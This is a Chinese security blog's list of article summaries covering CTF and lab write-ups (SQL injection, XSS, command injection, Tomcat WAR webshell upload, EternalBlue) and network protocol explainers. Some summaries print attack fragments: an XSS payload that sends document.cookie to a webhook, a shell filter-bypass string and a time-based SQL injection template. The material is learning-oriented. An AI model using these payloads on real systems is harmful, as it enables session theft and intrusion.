- 博客(40)
- 收藏
- 关注
RSS订阅原创 Vulhub 靶场：Tomcat8 弱口令与 WAR 包上传漏洞复现
Vulhub 靶场里 Tomcat 以 root 运行（容器默认）。真实环境里 Java 应用常以专用低权限用户运行，但也不少仍以 root 跑。拿到 shell 后第一件事id确认权限。Tomcat 渗透核心三要素manager 弱口令（爆破或字典）WAR 包结构正确（entry 名 = 文件名）JSP 一句话木马完整的渗透链路信息收集 → 弱口令 → WebShell 上传 → RCE → 信息收集 → 横向移动学到的工具技能PowerShell 代理设置
2026-08-26 16:57:06
508
原创 [GXYCTF2019] PingPingPing 命令注入实操笔记
[GXYCTF2019]Ping Ping Ping——命令注入经典入门，空格+flag关键字双重过滤。入口 ?ip= 拼系统命令，;ls 确认能塞命令。绕空格用 $IFS$9（bash 内部变量，比 ${IFS} 强在不含花括号）；绕关键字的关键是变量赋值只放不完整的一段——a=g;cat fla$a.php，shell 运行时才拼出 flag，PHP 黑名单查不到完整子串。报错信息是金矿："/f*ck your flag/symbol"直接告诉你拦的是哪类。
2026-08-20 19:36:37
594
原创 强网杯2019_随便注_SQL注入实操
[强网杯2019]随便注——经典入门题，核心考堆叠注入 + select 被过滤时的绕过。and/or 全被黑名单干掉，连 select、where、. 都进不了。先 show databases; 收集信息，发现可疑数字表 1919810931114514，反引号包裹才能查列名.
2026-08-18 16:32:16
349
原创 反序列化漏洞学习笔记
反序列化漏洞——攻击者不用偷代码，而是直接伪造对象，让服务器自己触发危险逻辑。入口是 unserialize() 直接反序列化用户输入，终点是 __wakeup()/__destruct 等魔术方法里的敏感操作，核心是控制对象属性值绕过判断条件。POC 生成五步：抄源码类定义 → 分析 __wakeup 条件 → 用构造函数赋值 → serialize() 自动生成 → POST 提交。
2026-08-16 14:49:05
278
原创 博客搭建教程
GitHub Pages + Hexo 博客搭建——零成本拥有个人网站，写 Markdown 就能自动变网页。核心链路：写 Markdown → Hexo 生成静态网页 → 推到 GitHub → 自动托管成 用户名.github.io。
2026-08-14 18:55:42
652
原创 CTFHub SQL 时间盲注实战攻略
时间盲注——SQL 注入的"最后一条路"，当页面连真假响应都没有时，就靠 SLEEP()制造时间差把数据"问"出来。核心公式：AND IF(条件, SLEEP(2), 0)，条件为真拖慢页面，为假正常返回，延迟就是"真"的信号。
2026-08-14 13:09:32
539
原创 本地网安AI助手搭建
自己搭一个网安 AI 助手要几步？这篇实操笔记从 AMD 云（MI300X 192GB）到本地 RTX 5060，把代码审计、渗透报告、Payload 生成、知识库问答四大功能全部跑通。核心思路一句话：云上验证流程，本地正式使用，敏感数据不出门。
2026-08-13 18:50:41
808
原创 CTFHub XSS反射型实战攻略
XSS 不是炸数据库，是"借别人的浏览器跑你的 JS"——flag 在 Bot 的 Cookie 里，得让它帮你发出来。反射型 payload 在 URL 里，不存库，点链接才触发。核心公式：<img src=x onerror="location='webhook?c='+document.cookie">，用事件处理器绕过 <script> 过滤，URL 编码防 & 和 + 拧断 payload。读不到 Cookie 查 HttpOnly，必要时换 fetch 外带源码。一句话：让目标浏览器替你开口。
2026-08-12 21:05:07
378
原创 RDP - Windows 远程桌面协议
RDP——Windows 远程办公的"命脉"协议，一文讲透它的全貌：从多通道虚拟化架构、X.224 连接握手流程、安全演进（RC4→TLS→CredSSP NLA），到图形编码迭代（NSCodec→RemoteFX→H.264→H.265）、外设重定向、RD Gateway 内网穿透方案，以及 BlueKeep 漏洞、暴力破解、会话劫持三大攻击面的完整防御指南。NLA 强制开启 + 3389 限制暴露 + 补丁及时更新，三条原则防住绝大多数 RDP 威胁。
2026-08-12 12:09:10
594
原创 CTFHub SQL 布尔盲注实战攻略
页面什么都不打印，连报错都没有，还能拿数据吗？能——布尔盲注靠的就是"条件真假"这一个信号，把数据一位一位"问"出来。原理是把要查的数据变成 WHERE 条件的一部分：猜对了 ASCII 码，页面返回 success；猜错了，返回 error。一篇讲透布尔盲注核心原理（substr + ascii + limit 三函数拆解）、从零拼 payload 方法论、Python 脚本配合二分法（每字符最多 7 次请求、224 次拿完整 flag）、以及 UNION/报错/布尔/时间四种注入的适用场景对比。有回显走
2026-08-08 16:55:11
514
原创 CTFHub SQL 报错注入实战攻略
页面不显示查询结果，不代表没门——报错注入让 MySQL 自己把数据"喷"出来。核心原理是利用 extractvalue() 的 XPath 报错机制，把要查的数据塞进报错信息里：查数据 → 塞进报错函数 → 报错信息把数据吐出来。文章附固定万能外壳模板，五步拿 flag，还对比了报错注入和 UNION 注入的适用场景（前者不需要探列数和显示位，比 UNION 更简单）、32字符截断的应对方法、以及 updatexml 作为备选函数。CTF 报错注入，一篇就够用。
2026-08-07 16:28:43
192
原创 CTFHub SQL 注入：从整数型到字符型，手把手弄懂 union 注入原理
SQL 注入是 Web 安全的"万恶之源"，但很多人只会背 payload，换个题就傻眼。这篇从 CTFHub 两道 injection 入手，把"为什么这样写"讲透：注入的本质是续写 SQL而非传参数、ORDER BY 探列数的底层原理、UNION 找到显示位的逻辑、information_schema 四步掏数据的链路。还附了整数型和字符型(payload 只差一个单引号)、常见 WAF 变形、以及最重要的七步从零拼 payload 心法。背模板做 CTF 是一时，弄懂原理才能举一反三。
2026-08-07 13:44:44
278
原创 CTFHub Web前置技能闯关
CTFHub Web 前置技能五道小题，做完五分钟，但每个都是渗透测试里最实用的基础直觉：换请求方法打隐藏接口、关掉重定向跟随看原始响应、翻 Cookie 改权限标识越权、Base64 解码后爆弱口令、F12 看源码找藏起来的数据。文章按"怎么过 + 原理 + 实战什么时候用"三层来写，配完整工具流程和速查表。五个套路，一张表全收。做 CTF 是手段，练的是条件反射。
2026-08-07 00:09:25
467
原创 CTFHub Referer 注入实战：从卡壳到拿 flag 的一小时踩坑记录
一道 Referer 注入 CTF 的完整踩坑记录！从用 Yakit fuzz 看不到 union 结果、到怀疑人生，再到发现两个致命惯性思维：用单引号（实际是数字型）、用 id=1（union 结果被原数据盖住）。文章还原了真实做题过程，附带四步拿 flag 全流程、Python 自动化脚本和防御修复代码。"想当然"才是这道题最大的坑。
2026-08-06 18:00:01
718
原创 SMB 与 CIFS 协议详解：Windows 文件共享的核心
SMB——Windows 文件共享背后的核心协议，名字陌生，但你每天都在用它。本文从 SMB 版本演进（SMB1→SMB3）、端口区别（139 vs 445）、认证机制（NTLMv2/Kerberos）讲起，覆盖 Linux Samba 配置实战、加密与签名安全加固，以及 EternalBlue 等经典漏洞的防御。最后附上 SMB vs NFS vs FTP 选型对比，看完这篇，企业内网文件共享从配置到安全全掌握！
2026-08-05 15:36:36
455
原创 SMTP、POP3和IMAP协议
一文讲清邮件系统的三大协议：SMTP 负责发送、POP3 下载到本地、IMAP 多设备同步。文章从协议原理到实战命令，附带完整端口对照表和主流邮箱配置，还解释了为什么国内邮箱默认关闭协议访问（安全、防垃圾邮件、合规）。看完这篇，邮件客户端配置不再手忙脚乱！
2026-08-05 12:08:32
541
原创 FTP、FTPS和SFTP协议
一文搞懂 FTP、FTPS、SFTP 三个协议的区别！名字只差一个字母，底层原理却天差地别——FTP 明文裸奔、FTPS 打补丁加密、SFTP 另起炉灶走 SSH 安全通道。看完这篇，彻底告别协议选型焦虑。
2026-08-05 09:50:27
667
原创 SSH（Secure Shell）安全外壳协议详解
SSH（Secure Shell）是 Linux 服务器管理的标准入口，相比明文传输的 Telnet，它通过全程加密彻底杜绝了账号密码被窃取的风险。SSH-2 是目前唯一可靠版本，支持 Ed25519、ECDSA 等现代加密算法。SSH 的精妙之处在于密码学的分工协作：非对称加密（Diffie-Hellman 密钥交换）让双方"隔空"生成相同的会话密钥，对称加密（ChaCha20、AES）负责实际数据传输——各取所长，效率与安全兼顾。
2026-08-04 17:07:37
301
原创 一文搞懂 DNS 协议：从“网址“到“IP“的寻址之旅
输入 www.baidu.com 背后 DNS 到底干了什么？这篇文章把 DNS 从零拆透：域名树结构（为什么网址"由细到粗"和门牌号反着）、四类服务器各管什么（13组根≠13台机器的含义）、递归与迭代的真实分布（主机对本地递归，本地对上迭代）、报文首部12字节逐bit拆解（RD/RA/AA/TC四个易混位+抓包对照）、10种记录类型用途。
2026-08-04 16:28:11
657
原创 网络安全工程师必学协议清单
网络安全工程师核心协议指南摘要 本文为网络安全工程师系统梳理了必学的核心网络协议知识体系，涵盖Web安全、内网渗透等多个方向。每类协议均详解了端口、加密方式、典型攻击场景、安全加固要点及常用测试工具（如Burp Suite、Wireshark等）。该指南适合渗透测试、安全运维人员构建完整的协议安全知识体系，也是备考主流安全认证的重要参考资料。
2026-08-02 10:03:19
526
原创 HTTP和HTTPS 完整指南
HTTP 与 HTTPS 完整指南 - 从原理到实战的网络安全必读。本文全面系统覆盖HTTP/HTTPS/SSL/TLS全栈知识，从基础协议到高级漏洞，一篇讲透网络传输安全核心原理。逐行解析 HTTP请求/响应报文结构，配合真实案例代码，GET/POST 请求、200/404响应一目了然，抓包分析必备参考。用快递包裹类比数据传输、街头喊话类比明文通信，复杂的 TLS握手流程、非对称加密原理秒懂，零基础也能看懂。20+对比表格、状态码速查、版本演进图，信息密度高，适合面试复习和技术文档查阅。
2026-08-02 09:43:59
966
原创 SQL-LABS_Less18-20实战攻略
SQL-LABS Less18-21 HTTP Header注入实战指南,详细解析了SQL-LABS中Less18-21关卡的HTTP Header注入技术，涵盖User-Agent、Referer和Cookie三种典型注入场景。
2026-08-01 22:02:17
291
原创 Linux常用命令
Linux 常用命令笔记：Linux 基础操作，文件与目录管理，文件权限管理，文件查看与编辑，文本处理工具，文件查找，文件属性与信息，帮助文档，Shell 基础，压缩与打包，系统信息与监控，网络命令，用户管理，网安渗透常用命令
2026-08-01 15:58:14
389
原创 SQL-LABS_Less11-17_POST注入实战
本文详细解析了SQL-LABS中POST注入的7种场景： POST注入特点：比GET注入更隐蔽，参数位于HTTP请求体中，需使用Burp Suite等工具测试 Less-11：单引号字符型注入，通过UNION查询获取数据库信息 Less-12：双引号+括号闭合注入，验证不同闭合方式 Less-13/14：无回显场景下的报错注入技术 Less-15/16：时间盲注技术Less-17：密码重置功能注入,还有防御方案
2026-07-24 15:38:58
283
原创 Windows 搭建 THC-Hydra 密码爆破工具实战笔记
Windows下THC-Hydra密码爆破工具实战指南摘要 THC-Hydra是一款功能强大的在线密码爆破工具，支持50+种协议。本文详细介绍了在Windows系统下的完整使用流程： 安装配置，字典准备，命令详解，DVWA实战，问题排查，安全提示。文档包含详细的参数说明和实战示例，适合网络安全初学者快速掌握Hydra的基本使用方法。
2026-07-23 10:39:14
581
原创 Yakit 入门实战指南
Yakit 实战指南：渗透测试入门 摘要 本文是Yakit渗透测试工具的实战指南，包含以下核心内容： 工具配置：详细记录了代理设置、证书安装等配置过程及问题解决方案 实战案例： DVWA登录密码爆破（完整流程+结果分析） SQL注入漏洞检测（Fuzzer批量测试方法） 核心功能：MITM劫持、Web Fuzzer、插件系统等模块的用法详解 问题排查：记录抓包失败、代理配置等常见问题的解决方法 对比分析：与Burp Suite的功能对比和使用建议 特别亮点.
2026-07-22 19:55:00
921
2
原创 CSRF（跨站请求伪造）攻击实战攻略
本文主要讲了CSRF实战过程及原理,分享了不同的攻击方式,展现了不同安全强度下CSRF防御方法的不同,另外形象通俗的讲述了CSRF与XSS之间的不同.
2026-07-22 09:44:47
626
原创 SQL-LABS Less5-Less10 盲注实战指南
本文摘要： SQL-LABS盲注实战指南详细介绍了Less-5到Less-10的盲注技术，包括布尔盲注和时间盲注两种类型。文章从基础知识入手，解释了盲注的概念、分类和应用场景，着重讲解了不同关卡的具体注入方法。Less-5和Less-6演示了单/双引号布尔盲注，Less-7展示导出文件注入技术，Less-8到Less-10则深入讲解时间盲注。指南提供了详细的测试步骤、Payload模板和注意事项，并强调了环境准备和核心SQL函数的重要性。文章最后还简要提及自动化工具的使用，为SQL注入学习提供了系统性的实战
2026-07-21 19:52:14
332
原创 永恒之蓝(MS17-010)漏洞实战攻略
本文主要讲述了永恒之蓝(MS17-010)的漏洞实战,详细记载解释了每个命令的构成以及永恒之蓝如何运用SMB漏洞进行攻击,帮助网安小白理解,简单介绍了检测和防御永恒之蓝的方式,并附有win7虚拟机的安装教程和永恒之蓝漏洞实战的精简流程.
2026-07-20 12:29:40
573
1
原创 网络基础科普
本文是一篇面向初学者的网络基础科普，系统讲解了从URL访问到HTTP通信的全过程。主要内容包括：1) 访问网站时发生的DNS解析、TCP连接、HTTP请求响应等步骤；2) URL各组成部分（协议、域名、端口、路径等）的详细解析；3) IP地址分类和DNS工作原理；4) HTTP协议的基本通信机制。文章采用生活化类比（如餐厅点餐、寄信等）帮助理解技术概念，适合零基础读者建立完整的Web工作原理认知，为后续学习Web安全打下基础。
2026-07-20 11:36:25
330
原创 XSS跨站脚本攻击实战
本文是一篇XSS攻击的完整实战笔记，逐行拆解payload构造原理，文章涵盖9种真实攻击场景：Cookie窃取、钓鱼表单、键盘记录、页面篡改、存储型蠕虫、CSRF组合、文件下载、浏览器指纹、DOM型XSS。每个攻击都详细解释为什么这么写、每行代码什么意思,后面附有攻击真实网站(SRC)的查阅资料
2026-07-19 09:15:27
502
原创 SQLi-LABS UNION 注入通关详解 (Less 1-4)
SQLi-LABS UNION 注入通关教程（Less 1-4） 本文详细介绍了SQLi-LABS中Less 1-4关卡的UNION注入攻击方法。四个关卡的核心攻击流程相同，主要区别在于SQL语句的闭合方式：Less-1为单引号、Less-2为整型无引号、Less-3为括号单引号、Less-4为括号双引号。 该教程适合学习SQL注入基础，重点在于理解不同参数类型对注入的影响以及UNION注入的标准流程。
2026-07-19 09:14:21
512
原创 Web渗透实操后的零碎理解
本文记录了作者通过Web渗透实践（包括Burp Suite抓包、SQL注入等）后的学习心得。关键点包括：1) Burp Suite作为HTTP代理工具的工作原理，通过安装CA证书实现HTTPS中间人解密；2) SQL注入攻击原理，通过构造特殊输入改变原始SQL查询语义，包括联合注入、布尔盲注等技巧；3) PHP环境配置与安全风险，解释了DVWA靶场搭建时修改php.ini等配置的安全隐患。文章以通俗类比解释技术概念，强调这些操作仅适用于学习环境，真实场景需严格遵循安全规范。
2026-07-18 09:14:21
450
原创 DVWA-SQL注入漏洞实战记录
本文记录了在DVWA靶场进行SQL注入漏洞实战的过程。分析了不同安全级别的防护措施，指出参数化查询和输入验证是最有效的防护方法。文章通过具体示例展示了SQL注入的原理和危害，并对比了各类防护措施的效果。
2026-07-17 15:38:02
334
原创 我的 DVWA 靶场搭建与第一次实战记录
DVWA靶场搭建与命令注入漏洞实战记录 本文详细记录了在Windows 10环境下使用PhpStudy Pro搭建DVWA靶场的完整过程。作者从准备工作开始，逐步完成DVWA部署、数据库配置、PHP设置等步骤，并解决了403错误、数据库密码报错等常见问题。成功搭建靶场后，作者进行了第一次漏洞实战——命令注入漏洞测试。
2026-07-17 09:49:37
391
原创 HTTP_HTTPS抓包实操教程
本文记录了在Kali Linux上使用Burp Suite进行HTTPS抓包的完整流程。从工具检查、Burp启动、代理配置到CA证书安装，详细演示了中间人攻击的实现步骤。通过Firefox浏览器配置127.0.0.1:8080代理并导入Burp证书后，成功捕获和解密了HTTPS流量（以百度为例）。文章还展示了拦截模式的应用，可实时查看和修改请求内容。整个实验验证了HTTPS中间人攻击的可行性，为网络安全学习提供了基础实践参考。
2026-07-16 14:46:14
543
原创 网络安全实验-HTTP抓包教程
本文介绍了使用Kali Linux进行网络安全实验的完整过程，重点演示了如何搭建一个简单的HTTP登录网站并抓取明文传输的账号密码。实验步骤包括：1) 在Kali虚拟机上创建Flask登录页面；2) 使用Wireshark捕获网络流量；3) 分析抓包数据获取HTTP明文密码；4) 理解HTTPS加密的重要性。作者特别强调该实验仅用于教育目的，严禁非法使用。通过这个基础实验，初学者可以直观了解网络传输安全的基本原理。
2026-07-16 14:43:30
479
原创 【小白实战】HTTP明文流量抓包实验：tcpdump+Wireshark完整教程
本文详细介绍了HTTP明文流量抓包实验的全过程。首先讲解实验意义，对比HTTP（明文）与HTTPS（加密）的本质区别。重点强调物理网卡与回环网卡的关键差异，避免新手常见错误。实验部分分三步：1）用Python搭建HTTP服务器；2）使用tcpdump抓取回环网卡流量；3）用curl模拟客户端请求。最后通过Wireshark分析抓包文件，直观展示TCP三次握手和HTTP明文交互全过程，包括如何过滤数据包、追踪TCP流和查看协议分层结构，为网络协议分析和安全测试奠定基础。
2026-07-15 17:27:20
622
原创 【小白入门】Wireshark从零开始：下载安装到抓包实战
这篇文章介绍了Wireshark抓包工具的基本使用方法，适合网络安全初学者。主要内容包括： Wireshark简介：作为网络数据包分析工具，是网络安全学习的必备技能。 详细安装指南：从官网下载、组件选择到Npcap驱动安装，强调重启电脑的重要性。 实战演示：以微信网页版为例，展示抓包全过程，包括网卡选择、抓包操作和流量分析技巧。 数据包解析：结合TCP/IP四层模型，解释各层协议的作用和字段含义。 常见问题解答：解决抓不到包、数据过多等问题，提醒合法使用界限。
2026-07-15 16:47:08
548
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人